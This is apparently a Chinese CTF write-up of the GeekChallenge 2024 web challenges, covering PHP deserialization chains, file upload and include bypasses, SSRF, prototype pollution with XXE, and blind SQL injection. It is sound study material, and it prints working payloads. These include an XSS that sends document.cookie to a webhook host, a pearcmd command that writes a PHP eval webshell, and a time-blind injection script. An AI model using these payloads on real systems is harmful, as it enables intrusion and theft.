极客大挑战2024复现

前言

还是新生的时候写的极客大挑战,web写出了三道,现在用来巩固一下基础,这次的复现注重自己思考的过程,尽量不看wp完成90%的题目。言尽于此,加油。

100%的⚪

知识点:源代码

一道简单的签到题,在源代码的js代码中可以找到base64加密的Flag

image-20250716191434647

image-20250716191659533

rce_me

知识点:php特性:非法变量名、intval、stripos、global

又是经典的php特性

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
header("Content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);

# Can you RCE me?


if (!is_array($_POST["start"])) {
    if (!preg_match("/start.*now/is", $_POST["start"])) {
        if (strpos($_POST["start"], "start now") === false) {
            die("Well, you haven't started.<br>");
        }
    }
}

echo "Welcome to GeekChallenge2024!<br>";

if (
    sha1((string) $_POST["__2024.geekchallenge.ctf"]) == md5("Geekchallenge2024_bmKtL") &&
    (string) $_POST["__2024.geekchallenge.ctf"] != "Geekchallenge2024_bmKtL" &&
    is_numeric(intval($_POST["__2024.geekchallenge.ctf"]))
) {
    echo "You took the first step!<br>";

    foreach ($_GET as $key => $value) {
        $$key = $value;
    }

    if (intval($year) < 2024 && intval($year + 1) > 2025) {
        echo "Well, I know the year is 2024<br>";

        if (preg_match("/.+?rce/ism", $purpose)) {
            die("nonono");
        }

        if (stripos($purpose, "rce") === false) {
            die("nonononono");
        }
        echo "Get the flag now!<br>";
        eval($GLOBALS['code']);
        
        

        
    } else {
        echo "It is not enough to stop you!<br>";
    }
} else {
    echo "It is so easy, do you know sha1 and md5?<br>";
}
?>

第一关:post提交start=start now

第二关:php非法变量名,在newstar写过了,然后是让这个参数的值sha1加密后等于md5加密Geekchallenge2024_bmKtL的值。手动加密一下Geekchallenge2024_bmKtL发现是0e开头,所以网上找个sha1加密后是0e开头的数字串就行 post传入_[2024.geekchallenge.ctf=10932435112

第三关:intval函数无法解析科学计数法,get传入year=1e10

第四关:get传purpose=rce我记得之前好像是通过多次回溯绕过的,这里怎么直接传这个就行了(官方wp是传purpose[]=rce,是绕过stripos)

最后:get传code=system("cat /f*");命令执行(get传的参数会到$GLOBAL中)

image-20250716194421550

baby_upload

知识点:文件名绕过文件上传

文件上传,之前是皮教着做的

传文件和文件名字分开,可以自己定义文件名

.htaccess文件无法上传,可以传.user.ini,不过这个需要同目录下至少一个php文件才有用

然后因为可以自己定义文件名,尝试.1.php(因为后端代码只对第一个后缀有检测,也可以使用1.jpg.php)

成功

image-20250716202317969

ezpop

知识点:绕过exit、变量名绕过、pop链

经典php反序列化,审计一下代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
Class SYC{
    public $starven;
    public function __call($name, $arguments){
        if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
            die('no hack');
        }
        file_put_contents($this->starven,"<?php exit();".$this->starven);
    }
}

Class lover{
    public $J1rry;
    public $meimeng;
    public function __destruct(){
        if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
            echo "success";
            $this->meimeng->source;
        }
    }

    public function __invoke()
    {
        echo $this->meimeng;
    }

}

Class Geek{
    public $GSBP;
    public function __get($name){
        $Challenge = $this->GSBP;
        return $Challenge();
    }

    public function __toString(){
        $this->GSBP->Getflag();
        return "Just do it";
    }

}

if($_GET['data']){
    if(preg_match("/meimeng/i",$_GET['data'])){
        die("no hack");
    }
   unserialize($_GET['data']);
}else{
   highlight_file(__FILE__);
}

这道题磨了很久,最终发现应该是环境出问题了。

首先是pop链,就不多解释了,这里注意一下反复循环的两个类,别绕进去就行

1
2
3
4
5
$a = new lover();
$a -> meimeng = new Geek();
$a -> meimeng -> GSBP = new lover();
$a -> meimeng -> GSBP -> meimeng = new Geek();
$a -> meimeng -> GSBP -> meimeng -> GSBP = new SYC();

然后是绕过

if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024')

这个可以用data伪协议绕过$a -> J1rry = 'data:text/plain,Welcome GeekChallenge 2024';

if(preg_match("/meimeng/i",$_GET['data']))

这个用ascii码绕过一下就行,注意小s要换成大S,因为反序列化中出现ascii码时,PHP 会使用 S 标记来表示这是一个 二进制安全的字符串。所以我们需要换成S

最头疼的就是 if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)) &&file_put_contents($this->starven,"<?php exit();".$this->starven)

绕过exit一般采用编码绕过,base64啊,rot13啊什么的,但是这里被ban了,但是可以用.htaccess预包含

具体payload:

1
$a->meimeng->GSBP->meimeng->GSBP->starven="php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess";
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
解释:
当这段代码运行时,它会在当前目录下创建一个名为 .htaccess 的文件。这个文件里的内容是:

php_value auto_prepend_file /flag
#/resource=.htaccess

最终结果是: 当你(或任何用户)访问该目录下的任意一个 PHP 文件时(例如 index.php),Web服务器(如Apache)会首先自动加载并执行 /flag 文件的内容,然后再执行你访问的那个PHP文件。如果 /flag 文件里存放的是敏感信息(比如CTF比赛中的flag),那么这些信息就会被显示在页面上。

为什么可以绕过exit()?
因为/write=string.strip_tags的作用是指定一个写入过滤器。当数据被写入目标文件时,会先经过 string.strip_tags 函数处理。也就是说它可以剥离字符串中的PHP和HTML标签,所以
<?php exit();php://filter/write=string.strip_tags/?>直接被剥离了

payload如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php

Class SYC{
    public $starven;
    public function __call($name, $arguments){
        if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
            die('no hack');
        }
        file_put_contents($this->starven,"<?php exit();".$this->starven);
    }
}

Class lover{
    public $J1rry="data://text/plain,Welcome GeekChallenge 2024";  //这个还挺重要的,以后尽量把需要自己定义的参数写在代码里
    public $meimeng;
    public function __destruct(){
        if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
            echo "success";
            $this->meimeng->source;
        }
    }

    public function __invoke()
    {
        echo $this->meimeng;
    }

}

Class Geek{
    public $GSBP;
    public function __get($name){
        $Challenge = $this->GSBP;
        return $Challenge();
    }

    public function __toString(){
        $this->GSBP->Getflag();
        return "Just do it";
    }

}

$a = new lover();
$a -> meimeng = new Geek();
$a -> meimeng -> GSBP = new lover();
$a -> meimeng -> GSBP -> meimeng = new Geek();
$a -> meimeng -> GSBP -> meimeng -> GSBP = new SYC();
$a -> meimeng -> GSBP -> meimeng -> GSBP -> starven = "php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess" ;

$b=serialize($a);
$b = preg_replace('/s:7:"m/', 'S:7:"\\\6d', $b);
//echo $b;
echo urlencode($b);

Problem_On_My_Web

知识点:xss

简单的存储型xss

打入<script>fetch('https://webhook.site/9109704c-561e-40e7-8ef7-0ed01c3e10b4?a='+document.cookie)</script>后,在manager路由处post提交url=http://127.0.0.1。这个可以使机器人携带cookie触发xss

不过很奇怪的是我的武器库没有用了

1
2
3
<script>
var img=document.createElement("img"); img.src="    https://webhook.site/9109704c-561e-40e7-8ef7-0ed01c3e10b4/"+document.cookie;
</script>

为了解决这个问题,我去ctfshow中试验了一下,在ctfshow中写fetch的payload只能弹出not admin

image-20250718120629151

说明并不是admin访问了这个,而是我们自己访问的,后续admin也没访问这个链接,算了,简单题就放放

ez_http

知识点:http、jwt

eazy如图

image-20250718133749682

最后是一个JWT密钥在源代码里,伪造一下就行……吗?

我试了很多遍都不成功,也不知道是什么问题,甚至以为和时间戳有关,搞了个脚本,还是不行,所以我觉得是环境问题QAQ

ez_include

知识点:文件包含:request_once、register_argc_argv=On

image-20250718142040018

这里secret.php已经被包含过一次了,所以要绕过require_once

/proc/self指向当前进程的/proc/pid//proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过

image-20250718142010673

用这种方式再次包含文件

1
file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php

然后解码base64,得到第二关/levelllll2.php

image-20250718144633113

提示说register_argc_argv=On搜索发现可以通过这个写马

利用 pearcmd 从 LFI 到 getshell

image-20250718145026893

1
2
syc=/usr/local/lib/php/pearcmd.php&+config-create+/<?@eval($_POST['shell']);?>+/var/www/html/shell.php
//正好还绕过了.php的限制

image-20250718145602813

post的值是乱写的,没用

image-20250718145610751

有了这个知识点以后,遇到文件包含,都可以通过这个方式写马,不知道绝对路径的化可以写如tem目录下

1
/usr/local/lib/php/pearcmd.php&+config-create+/<?@eval($_POST['shell']);?>+/tmp/shell.txt

Can_you_Pass_Me

知识点:ssti、base64绕过、/proc/1/environ

首先fenjing可以直接跑

image-20250718161449189

但是很奇怪,这个payload不能手动输入,手动输入是没用的,另外就是,直接cat /flag的话会返回好像不能出现在这里,通过源码可以知道。

image-20250718160802677

可以通过base64绕过(注意格式)

1
cat /flag|base64

image-20250718162441473

另外,也可以cat /proc/1/environ

image-20250718154916031

多年前的回旋镖还是命中自己了

image-20250718162813040

1
Linux 中的 /proc/1/environ 文件包含 PID 为 1 的进程的环境变量,该进程通常是 init 进程。这些变量由 null 字符分隔,并且该文件反映进程启动时的环境。

SecretInDrivingSchool

知识点:爆破、命令执行

image-20250718162957107

image-20250718163037887

image-20250718163040154

image-20250718163226046

admin用户名正确爆破一下密码

SYC@chengxing

过滤了eval,system等,这里直接反引号执行,然后echo一下

image-20250718170426149

image-20250718170942655

ez_SSRF

知识点:SoapClient类进行SSRF

www.zip获取源码

h4d333333.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
if(!isset($_POST['user'])){
    $user="stranger";
}else{
    $user=$_POST['user'];
}

if (isset($_GET['location'])) {
    $location=$_GET['location'];
    $client=new SoapClient(null,array(
        "location"=>$location,
        "uri"=>"hahaha",
        "login"=>"guest",
        "password"=>"gueeeeest!!!!",
        "user_agent"=>$user."'s Chrome"));

    $client->calculator();

    echo file_get_contents("result");
}else{
    echo "Please give me a location";
}

calculator.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$admin="aaaaaaaaaaaadmin";
$adminpass="i_want_to_getI00_inMyT3st";

function check($auth) {
    global $admin,$adminpass;
    $auth = str_replace('Basic ', '', $auth);
    $auth = base64_decode($auth);
    list($username, $password) = explode(':', $auth);
    echo $username."<br>".$password;
    if($username===$admin && $password===$adminpass) {
        return 1;
    }else{
        return 2;
    }
}
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
    exit("Hacker");
}
$expression = $_POST['expression'];
$auth=$_SERVER['HTTP_AUTHORIZATION'];
if(isset($auth)){
    if (check($auth)===2) {
        if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
            die("Invalid expression");
        }else{
            $result=eval("return $expression;");
            file_put_contents("result",$result);
        }
    }else{
        $result=eval("return $expression;");
        file_put_contents("result",$result);
    }
}else{
    exit("Hacker");
}

初步审计是发现h4d333333.php中有ssrf的漏洞,可以借助这个路由给calculator.php发送消息。

然后是calculator.php这里,有一个写入result这个文件的函数,这里就是利用点

$_SERVER['HTTP_AUTHORIZATION']这个需要是admin:adminpassword的形式,正好代码里有数据,还要base64一下

image-20250718194909787

然后是怎么利用ssrf呢,怎么样才能把我需要的东西发过去?我一开始想的是打gopher协议,可是并不管用。

后来注意到这个代码,能搜到

利用SoapClient类进行SSRF+CRLF攻击

1
2
3
4
5
6
7
8
 $client=new SoapClient(null,array(
        "location"=>$location,
        "uri"=>"hahaha",
        "login"=>"guest",
        "password"=>"gueeeeest!!!!",
        "user_agent"=>$user."'s Chrome"));

    $client->calculator();

下面是代码,运行不了的话去php.ini改一下;extension=soap,把分号去掉

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php
$target = 'http://xxx/xxx.php';
$post_string = 'expression=system("cat /flag > flag");';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'AUTHORIZATION: YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));
 
$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
?>
#只需要useragent的部分
#wupco%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aX-Forwarded-For: 127.0.0.1%0d%0aAUTHORIZATION: YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0d%0aContent-Length: 38%0d%0a%0d%0aexpression=system("cat /flag > flag");

image-20250719140925831

image-20250719153758172

ez_js

知识点:js代码审计、原型链污染

前端好像是坏的,抓包看看反应

image-20250723101649934

然后也是猜了一下

image-20250723101836402

获得部分源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
const { merge } = require('./utils/common.js'); 

        function handleLogin(req, res) {
        var geeker = new function() {
            this.geekerData = new function() {
                this.username = req.body.username;
                this.password = req.body.password;
            };
        };
    
        merge(geeker, req.body);
    
        if(geeker.geekerData.username == 'Starven' && geeker.geekerData.password == '123456'){
            if(geeker.hasFlag){
                const filePath = path.join(__dirname, 'static', 'direct.html');
                res.sendFile(filePath, (err) => {
                    if (err) {
                        console.error(err);
                        res.status(err.status).end();
                    }
                });
            }else{
                const filePath = path.join(__dirname, 'static', 'error.html');
                res.sendFile(filePath, (err) => {
                    if (err) {
                        console.error(err);
                        res.status(err.status).end();
                    }
                });
            } 
        }else{
            const filePath = path.join(__dirname, 'static', 'error2.html'); 
            res.sendFile(filePath, (err) => {
                if (err) {
                    console.error(err);
                    res.status(err.status).end(); 
                }
            });
        }
    }

function merge(object1, object2) {
        for (let key in object2) {
            if (key in object2 && key in object1) {
                merge(object1[key], object2[key]);
            } else {
                object1[key] = object2[key];
            }
        }
    }
    
    module.exports = { merge };

很明显是一个js的代码,看到merge函数就能想到是原型链污染

再看到函数逻辑,当账号和用户名正确时,并且geeker.hasFlag的值为ture时可以显现direct.html。那么我们就需要靠原型链污染geeker的原型,从而改变geeker.hasFlag的值

payload如下:

1
{"username":"Starven","password":"123456","__proto__":{"hasFlag":"ture"}}

image-20250723104446138

/flag里没有源码,打入之前的payload看看

image-20250723110639473

发现应该有waf,然后有点谜语人了我就直接看wp了

考察的是逗号的绕过,payload如下:

1
?syc={"username":"Starven"&syc="password":"123456"&syc="hasFlag":"ture"} 

image-20250723111104703

有几个疑问,为什么这里没有__proto__,还可以进行污染?

然后尝试了一下,第一层好像也不需要proto,应该是题目的问题?

算了,这里也是比较不熟练,之后去把ctfshow的nodejs写掉好了

PHP不比Java差

知识点:__unserialize()妙用、php反射类运用、suid提权:find命令f参数报错读取

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
highlight_file(__FILE__);
error_reporting(0);
include "secret.php";

class Challenge{
    public $file;
    public function Sink()
    {
        echo "<br>!!!A GREAT STEP!!!<br>";
        echo "Is there any file?<br>";
        if(file_exists($this->file)){
            global $FLAG;
            echo $FLAG;
        }
    }
}

class Geek{
    public $a;
    public $b;
    public function __unserialize(array $data): void
    {
        $change=$_GET["change"];
        $FUNC=$change($data);
        $FUNC();
    }
}

class Syclover{
    public $Where;
    public $IS;
    public $Starven;
    public $Girlfriend;
    public function __toString()
    {
        echo "__toString is called<br>";
        $eee=new $this->Where($this->IS);
        $fff=$this->Starven;
        $eee->$fff($this->Girlfriend);
       
    }
}

unserialize($_POST['data']);

首先__unserialize会返回一个关联数组,这个数组的内容就是这个类的属性。但是FUNC进行数组调用类的方法时需要索引数组,所以要采用 array_values 取关联形数组的值转变为索引数组,这里通过GET传change实现

之后我们将a赋值 new change,b赋值为Sink,这样就可以通过FUNC()调用ChallengeSink函数,这样就成功走到了Change类

1
O:4:"Geek":2:{s:1:"a";O:9:"Challenge":1:{s:4:"file";s:10:"secret.php";}s:1:"b";s:4:"Sink";}

image-20250723161410884

但是如何在change类中触发tostring呢?

file_exists 函数会把传入的变量作为字符串类型去处理,因此当传入 一个类时也会把类作为string类型进行处理。也就触发__tostring了。这里有一点像之前做过类似的题目,那题是md5触发 __tostring,感觉挺相通的。

那么这里也提醒之后做到类似的题目,可以跟进函数的源代码去看看,说不定也能找到类似的情况。

最后链子到了Syclover类,如何获取flag呢?

1
2
3
$eee=new $this->Where($this->IS);
$fff=$this->Starven;
$eee->$fff($this->Girlfriend);

刚学的java反射,这里也学一下php反射类

1
2
3
4
5
6
7
8
9
$a -> a -> file -> Where = "ReflectionFunction";
$a -> a -> file -> IS = "system";
$a -> a -> file -> Starven = "invoke";
$a -> a -> file -> Girlfriend = "ls";

相当于
$eee=new ReflectionFunction(system); //反射system方法
$fff="invoke";
$eee->invoke(ls); //invoke调用system方法,参数为ls

image-20250723165714925

这里不能直接读取flag,在根目录的hint.txt也提示了需要提权

用find查找具有root权限的SUID的文件。

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

image-20250723171936682

然后使用flie的-f参数利用报错进行文件读取

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$a = new Geek();
$a -> a = new Challenge();
$a -> b = "Sink";
$a -> a -> file = new Syclover();
$a -> a -> file -> Where = "ReflectionFunction";
$a -> a -> file -> IS = "system";
$a -> a -> file -> Starven = "invoke";
$a -> a -> file -> Girlfriend = "file -f /flag";


echo serialize($a);

/*
$a = new Geek();
$a -> a = new Challenge();
$a -> b = "Sink";
$a -> a -> file = new Syclover();
$a -> a -> file -> Where = "ReflectionFunction";
$a -> a -> file -> IS = "system";
$a -> a -> file -> Starven = "invoke";
$a -> a -> file -> Girlfriend = "file -f /flag";

echo serialize($a);
*/

image-20250723172230050

py_game

知识点:session爆破+伪造、python原型链污染(路线)、XXE(json转义)

随便注册一个,获取普通用户的session,然后爆破伪造出admin的身份

image-20250723195419944

image-20250723200142703

根据链接指引的路由一步步可以下载到app.pyc

image-20250723200350915

随便找个反编译网站反编译一下

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.6

import json
from lxml import etree
from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify
app = Flask(__name__)
app.secret_key = 'a123456'
app.config['xml_data'] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'

class User:
    
    def __init__(self, username, password):
        self.username = username
        self.password = password

    
    def check(self, data):
        if self.username == data['username']:
            pass
        return self.password == data['password']


admin = User('admin', '123456j1rrynonono')
Users = [
    admin]

def update(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and isinstance(v, dict):
                update(v, dst.get(k))
            else:
                dst[k] = v
        if hasattr(dst, k) and isinstance(v, dict):
            update(v, getattr(dst, k))
            continue
        setattr(dst, k, v)
    


def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        for u in Users:
            if u.username == username:
                flash('用户名已存在', 'error')
                return redirect(url_for('register'))
        
        new_user = User(username, password)
        Users.append(new_user)
        flash('注册成功!请登录', 'success')
        return redirect(url_for('login'))
    return None('register.html')

register = app.route('/register', [
    'GET',
    'POST'], **('methods',))(register)

def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        for u in Users:
            if u.check({
                'username': username,
                'password': password }):
                session['username'] = username
                flash('登录成功', 'success')
                return redirect(url_for('dashboard'))
        
        flash('用户名或密码错误', 'error')
        return redirect(url_for('login'))
    return None('login.html')

login = app.route('/login', [
    'GET',
    'POST'], **('methods',))(login)

def play():
    pass
# WARNING: Decompyle incomplete

play = app.route('/play', [
    'GET',
    'POST'], **('methods',))(play)

def admin():
    if 'username' in session and session['username'] == 'admin':
        return render_template('admin.html', session['username'], **('username',))
    None('你没有权限访问', 'error')
    return redirect(url_for('login'))

admin = app.route('/admin', [
    'GET',
    'POST'], **('methods',))(admin)

def downloads321():
    return send_file('./source/app.pyc', True, **('as_attachment',))

downloads321 = app.route('/downloads321')(downloads321)

def index():
    return render_template('index.html')

index = app.route('/')(index)

def dashboard():
    if 'username' in session:
        is_admin = session['username'] == 'admin'
        if is_admin:
            user_tag = 'Admin User'
        else:
            user_tag = 'Normal User'
        return render_template('dashboard.html', session['username'], user_tag, is_admin, **('username', 'tag', 'is_admin'))
    None('请先登录', 'error')
    return redirect(url_for('login'))

dashboard = app.route('/dashboard')(dashboard)

def xml_parse():
    
    try:
        xml_bytes = app.config['xml_data'].encode('utf-8')
        parser = etree.XMLParser(True, True, **('load_dtd', 'resolve_entities'))
        tree = etree.fromstring(xml_bytes, parser, **('parser',))
        result_xml = etree.tostring(tree, True, 'utf-8', True, **('pretty_print', 'encoding', 'xml_declaration'))
        return Response(result_xml, 'application/xml', **('mimetype',))
        except etree.XMLSyntaxError:
            e = None
            
            try:
                return str(e)
                e = None
                del e
            return None



xml_parse = app.route('/xml_parse')(xml_parse)
black_list = [
    '__class__'.encode(),
    '__init__'.encode(),
    '__globals__'.encode()]

def check(data):
    print(data)
    for i in black_list:
        print(i)
        if i in data:
            print(i)
            return False
    
    return True


def update_route():
    if 'username' in session and session['username'] == 'admin':
        if request.data:
            
            try:
                if not check(request.data):
                    return ('NONONO, Bad Hacker', 403)
                data = None.loads(request.data.decode())
                print(data)
                if all((lambda .0: pass)(data.values())):
                    update(data, User)
                    return (jsonify({
                        'message': '更新成功' }), 200)
                return None
            except Exception:
                e = None
                
                try:
                    return (f'''Exception: {str(e)}''', 500)
                    e = None
                    del e
                return ('No data provided', 400)
                return redirect(url_for('login'))
                return None



update_route = app.route('/update', [
    'POST'], **('methods',))(update_route)
if __name__ == '__main__':
    app.run('0.0.0.0', 80, False, **('host', 'port', 'debug'))

update处存在python原型链污染,数据是直接获取的request.data,且需要json格式,所以我们可以在这里通过原型链污染xml_data的值,将其改为我们构造的xxe payload。

然后是有一些绕过,这里用unicode编码绕过就行,也就是\u00加上十六进制的数字

路径是app.config['xml_data']

image-20250723211204894

payload如下:

注意json中内部的双引号需要转义" -> \"、然后file需要首字母大写,不然会报错

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{
  "__init\u005f_": {
    "__globals\u005f_": {
      "app": {
        "config": {
          "xml_data": "<?xml version=\"1.0\"?>\n<!DOCTYPE creds [\n  <!ENTITY xx SYSTEM \"File:///etc/passwd\">\n]>\n<creds>\n  <ctfshow>&xx;</ctfshow>\n</creds>"
        }
      }
    }
  }
}

image-20250723210956637

最后在源代码处看到(其实是一开始就看到的)

image-20250723174909809

修改payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

{
  "__init\u005f_": {
    "__globals\u005f_": {
      "app": {
        "config": {
          "xml_data": "<?xml version=\"1.0\"?>\n<!DOCTYPE creds [\n  <!ENTITY xx SYSTEM \"File:///flag\">\n]>\n<creds>\n  <ctfshow>&xx;</ctfshow>\n</creds>"
        }
      }
    }
  }
}

image-20250723211314688

funnySQL

知识点:时间盲注

最讨厌的sql,输入了很多东西都没用回显,估计就是时间盲注了

然后waf:空格、sleep、or、=

or被ban了,意味着information和performance这俩库都查不了了,所以我们只能通过 mysql.innodb_table_stats 来查到表名 sleep被ban了用benchmark绕就行了,=号可以用like,regexp等来绕,也可以用>或者<号来绕 空格被ban了可以用/**/或者是()来绕

用了别的师傅的exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
from urllib.parse import urlencode
from time import time

url="http://80-5a7887db-128e-47a8-ab4c-dafafc7a3c95.challenge.ctfplus.cn/index.php?username="

dic="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#&'()*+,-./:;<=>?@[\]^`{|}~"

flag=''
for i in range(1,100):
    for s in dic:

        #payload=f"'||if((SUBSTR(DATABASE(),{i},1)like'{s}'),BENCHMARK(10000000,SHA1('test')),1)#"   database: syclover

        #payload = f"'||if((substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name)like'syclover'),{i},1)like'{s}'),BENCHMARK(10000000,SHA1('test')),1)#"  #  table name:Rea11ys3ccccccr3333t,users

        #payload=f"'||if((substr((select(group_concat(database_name))/**/from(mysql.innodb_table_stats)where(table_name)LIKE'Rea11ys3ccccccr3333t'),{i},1)like'{s}'),BENCHMARK(10000000,SHA1('test')),1)#"

        #payload='||if((select(COUNT(*)>0)from(select/**/1/**/union/**/select*from/**/Rea11ys3ccccccr3333t)a/**/limit/**/0,1),BENCHMARK(10000000,SHA1('test')),1)#  只有一列

        payload=f"'||if((substr((select*from(select/**/1/**/union/**/select*from/**/Rea11ys3ccccccr3333t)a/**/limit/**/1,1),{i},1)like'{s}'),BENCHMARK(10000000,SHA1('test')),1)#"

        payload= urlencode({'': payload})[1::]
        start=time()
        req=requests.get(url+payload)
        end=time()

        if end-start>1:
            flag+=s
            print("flag: ",flag)
            break

image-20250723212509221

ez_python

知识点:pickle反序列化内存马

随便注册账号,随便试试后提示路由,进入后获得源码

image-20250723214821277

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import black

app = Flask(__name__)

#To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
@app.route('/')
def index():
    return render_template_string(open('templates/index.html').read())

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        usname = request.form['username']
        passwd = request.form['password']

        if usname and passwd:
            heart_cookie = secrets.token_hex(32)
            response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
            response.set_cookie('heart', heart_cookie)
            return response

    return  render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    heart_cookie = request.cookies.get('heart')
    if not heart_cookie:
        return render_template('warning.html')

    if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
        statement = request.form['statement']

        try:
            heal_state = base64.b64decode(statement)
            print(heal_state)
            for i in black.blacklist:
                if i in heal_state:
                    return render_template('waf.html')
            pickle.loads(heal_state)
            res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
            flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
            os.system("echo " + flag + " > /flag")
            return res
        except Exception as e:
            print( e)
            pass
            return "Error!!!! give you hint: maybe you can view /starven_s3cret"

    return render_template('login.html')

@app.route('/monologue',methods=['GET','POST'])
def joker():
    return render_template('joker.html')

@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():
    return send_file(__file__,as_attachment=True)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)

审计一下,可以发现heal_state是pickle反序列化的利用点

这里直接打内存马,掏出武器库,化身脚本小子,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import pickle
import base64
import os
from pyclbr import Class

class A():
    def __reduce__(self):
